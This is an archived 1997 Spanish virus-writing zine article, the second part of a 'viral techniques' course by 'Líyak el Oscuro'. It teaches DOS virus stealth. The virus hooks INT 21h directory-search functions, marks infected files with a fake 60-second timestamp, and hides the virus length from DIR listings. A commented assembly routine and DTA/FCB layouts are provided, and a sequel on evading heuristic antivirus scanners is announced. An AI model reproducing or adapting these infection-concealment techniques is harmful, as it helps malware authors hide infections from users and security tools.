home *** CD-ROM | disk | FTP | other *** search
/ PCMania 64 / PCMania CD64_1.iso / phy / phy003 / files / articulo.009 < prev    next >
Encoding:
Text File  |  1997-04-12  |  7.5 KB  |  216 lines

  1. *cX             TECNICAS VIRICAS
  2.  
  3. *c^        Y como lo prometido es deuda, aquí
  4. tenemos la segunda entrega de nuestro curso
  5. de técnicas víricas, en el cual vamos a
  6. aprender... (redoble)... CHAAAAAAN!
  7. ¡Tecnicas stealth!
  8.  
  9.         En efecto. Un virus que se precie las
  10. lleva, además porque no es especialmente
  11. difícil ni largo, y más después de verlo en
  12. el virus *cABURGLAR*c^ (que encontrarás en PhyMosys
  13. Magazine 2).
  14.  
  15.         Bueno, y vamos a empezar (siempre me
  16. enrollo en el principio, no tengo remedio).
  17.  
  18.         Ante todo, sabrás lo que es la
  19. interrupción 21h (y si no, no sé qué estás
  20. mirando en esta sección) y sus funciones.
  21. Pues bien, las funciones que nos interesan
  22. son las funciones 11h, 12h, 4Eh y 4Fh. El
  23. comando DIR del DOS utiliza las funciones 11h
  24. y 12h, y los otros programas en general (por
  25. mayor sencillez, manejabilidad y progreso)
  26. utilizan las otras. Estas funciones son:
  27. *cH
  28. 11h ->*cO Búsqueda de la primera entrada del
  29.        directorio (por FCBs)
  30. *cH12h -> *cOBúsqueda de la siguiente entrada del
  31.        directorio (por FCBs)
  32. *cH4Eh ->*cO Búsqueda de la primera entrada del
  33.        directorio (por Handles)
  34. *cH4Fh ->*cO Búsqueda de la siguiente entrada del
  35.        directorio (por Handles)
  36. *c^
  37.         Las más importantes para un stealth
  38. mínimo son las dos primeras.
  39.  
  40.         Para una velocidad buena en el efecto
  41. del DIR, hay que hacer un pequeño truco en la
  42. fecha (no es rentable abrir el archivo cada
  43. vez para comprobar si está infectado, más que
  44. nada por la velocidad), y ésta es: o bien
  45. poner los segundos en el archivo a 60 o 62 en
  46. la hora, o bien sumarle 100 años al año en la
  47. fecha. El problema que tiene esto es que
  48. muchos anti-virus heurísticos comprueban la
  49. fecha y entonces esto es sospechoso. Se cogen
  50. estos valores porque, al hacer DIR, no se ven
  51. los segundos y sólo se ven las dos últimas
  52. cifras del año del archivo. Pero güeno,
  53. podremos vivir con esto.
  54.  
  55.         Y como decía, habrá que poner una de
  56. estas dos marcas. Yo personalmente prefiero
  57. la de los segundos, que es menos liosa y más
  58. rápida. Lo primero que tendremos que hacer es
  59. comprobar si se está llamando a las funciones
  60. 11h o 12h, desde el virus. Entonces se llama
  61. a la interrupción para que nos devuelva los
  62. valores del directorio. Nos devolverá en el
  63. DTA (cuya dirección habremos obtenido previa-
  64. mente mediante la función 2Fh del DOS) una
  65. estructura FCB (File Control Block) así:
  66.  
  67. En ES:BX tenemos la dirección del DTA.
  68. *cH
  69. ES:BX+00h -->*cO Número de dispositivo
  70.               (la unidad)
  71. *cHES:BX+01h -->*cO Nombre del archivo
  72.               (rellenado con espacios)
  73. *cHES:BX+09h --> *cOEstensión del archivo (también
  74.               rellenado con espacios)
  75. *cHES:BX+0Ch --> *cONúmero de bloque actual (sin
  76.               interés para nosotros)
  77. *cHES:BX+0Eh --> *cOTamaño del bloque (idem)
  78. *cHES:BX+10h --> *cOTamaño de archivo en double
  79.               word (esto es!)
  80. *cHES:BX+14h -->*cO Fecha de la última modificación
  81.               (también esto)
  82. *cHES:BX+16h --> *cOHora de la última modificación
  83.               (y esto también)
  84. *cH...*c^
  85.  
  86.         A esto le siguen más cosas que no nos
  87. interesan para lo que pensamos hacer.
  88.  
  89. Y un FCB ampliado (que es usado en versiones
  90. posteriores de DOS) es prácticamente lo mismo,
  91. nada mas que hay 7 bytes más de datos al
  92. principio, por lo que las direcciones que nos
  93. interesan se obtendrán sumándole 7 a la direc-
  94. ción de DTA obtenida. Se sabe que es ampliado
  95. por el primer byte, o el byte del número de
  96. dispositivo, que en vez de tener el número de
  97. dispositivo tiene el valor FFh.
  98.  
  99.         Pues esto es. La fecha y la hora se
  100. encuentran en formato empaquetado tal y como
  101. os lo enseño ahí abajo. Cada x es un bit:
  102. *cR
  103. Fecha: x x x x x x x x x x x x x x x x  word
  104.        |           | |     | |       |
  105.        |-----------| |-----| |-------|
  106.        año (0=1980)   mes      día
  107.  
  108.  
  109. Hora:  x x x x x x x x x x x x x x x x  word
  110.        |       | |         | |       |
  111.        |-------| |---------| |-------|
  112.           hora     minuto     segundo
  113.                               (en pasos
  114.                               de 2 seg.)
  115. *c^
  116.         Recordad que los bits se empiezan a
  117. contar desde el 0 y hacia la izquierda (que
  118. más de uno se equivocará en esto).
  119.  
  120.         Más o menos ya habréis visto lo que
  121. hay que hacer, ¿no? ¿NO? Pues ale, voy a
  122. estirarme y os haré un código ejemplo.
  123. El que sigue.
  124.  
  125. *cH
  126. Funcion11o12:   NOP
  127. *cK ; Aquí se salta después de comprobar que es
  128.  ; una función 11h o 12h (el NOP está para po-
  129.  ; ner el comentario este, ¿eh?)
  130. *cH                INT     21h
  131. *cK ; Ejecutamos la interrupción.Ahora en el DTA
  132.  ; tenemos el resultado.
  133. *cH                CMP     AL, 0FFh
  134. *cK ; AL es FFh si hay error o se ha acabado el
  135.  ; directorio.
  136. *cH                JE      Acaba
  137. *cK ; Acabamos si hay error
  138. *cH                PUSH    AX
  139. *cK ; Guardamos los registros afectados
  140. *cH                PUSH    BX
  141.                 PUSH    ES
  142.                 MOV     AH, 2Fh
  143. *cK ; Obtenemos en ES:BX la dirección del DTA
  144. *cH                INT     21h
  145.                 CMP     BYTE PTR ES:[BX],0FFh
  146. *cK ; Comprobamos si es un FCB ampliado.
  147. *cH                JNE     FCBNormal
  148. *cK ; Si no lo es, evitamos sumarle 7, y si lo
  149. *cH                ADD     BX, 0007
  150. *cK ; es, se lo sumamos.
  151. *cHCBNormal:      MOV     AL, ES:[BX+17h]
  152. *cK ; Obtenemos la parte donde están los
  153.  ; segundos (prefiero los segundos :)
  154. *cH                AND     AL, 1Eh
  155. *cK ; Obtenemos sólo los segundos en AL (60 o
  156.  ; 62. Si sólo hubieramos querido mirar 62
  157.  ; segundos, hubiéramos hecho AND AL,1Fh).
  158. *cH                CMP     AL, 1Eh
  159. *cK ; ¿Es 60 segundos el resultado?
  160. *cH                JNZ     NoestaInfectao
  161. *cK ; Si no lo es, es que el archivo no
  162.  ; está infectado.
  163. *cH      SUB     WORD PTR ES:[BX+1Dh], LongVirus
  164. *cK ; Esta claro, ¿no?
  165. *cH      SBB     WORD PTR ES:[BX+1Fh], 00
  166. *cK ; No olvidemos que el tamaño está en dword
  167.  ; y hay que contar con el rebosamiento
  168. *cH      AND     BYTE PTR ES:[BX+17h], 0EFh
  169. *cK ; Eliminamos el bit alto de los segundos
  170.  ; para mostrar una hora más razonable.
  171. *cHNoestaInfectao: POP     ES
  172. *cK ; Recuperamos registros
  173. *cH                POP     BX
  174.                 POP     AX
  175. Acaba:          IRET
  176. *c^
  177.  
  178.         Y ya está! Pues no es tan complicado,
  179. oyes. Ahora vamos con las funciones 4Eh y 4Fh.
  180.  
  181.         Es prácticamente lo mismo, nada más
  182. que los datos en el DTA los devuelve de la
  183. manera siguiente:
  184. *cH
  185. ES:BX+00h --> *cO20 bytes de datos reservados
  186. *cHES:BX+14h -->*cO Atributo del archivo (si es
  187.               oculto, de sistema, etc.)
  188. *cHES:BX+15h -->*cO Hora de la última modificación
  189.               (en formato empaquetado)
  190. *cHES:BX+17h -->*cO Fecha de la última modificación
  191.               (también en este formato)
  192. *cHES:BX+19h -->*cO Tamaño del archivo en double
  193.               word
  194. *cHES:BX+1Dh -->*cO Nombre del archivo y extensión
  195.               como cadena ASCII
  196. *c^
  197.         Y ahora se hace lo mismo. Es exacta-
  198. mente igual, nada más que hay que tener en
  199. cuenta que la función devuelve Carry Flag
  200. cuando hay error, en vez de poner el valor
  201. FFh en AL tal y como hacían las funciones
  202. 11h y 12h. Entonces, al llamar a la función
  203. para que devuelva datos, habrá que guardar
  204. las banderas mediante un PUSHF, hacer POPF
  205. antes de retornar, y retornar mediante un
  206. RETF 0002 en vez de con IRET.
  207.  
  208.         Bueno, y nada más por este número
  209. (que de todas formas ya es bastante, creo
  210. yo). Para el siguiente veremos técnicas
  211. anti-heurísticas, que hacen que un virus
  212. tenga más oportunidades de pasar un
  213. escáner heurístico.
  214.  
  215. *cG                           Líyak el Oscuro
  216.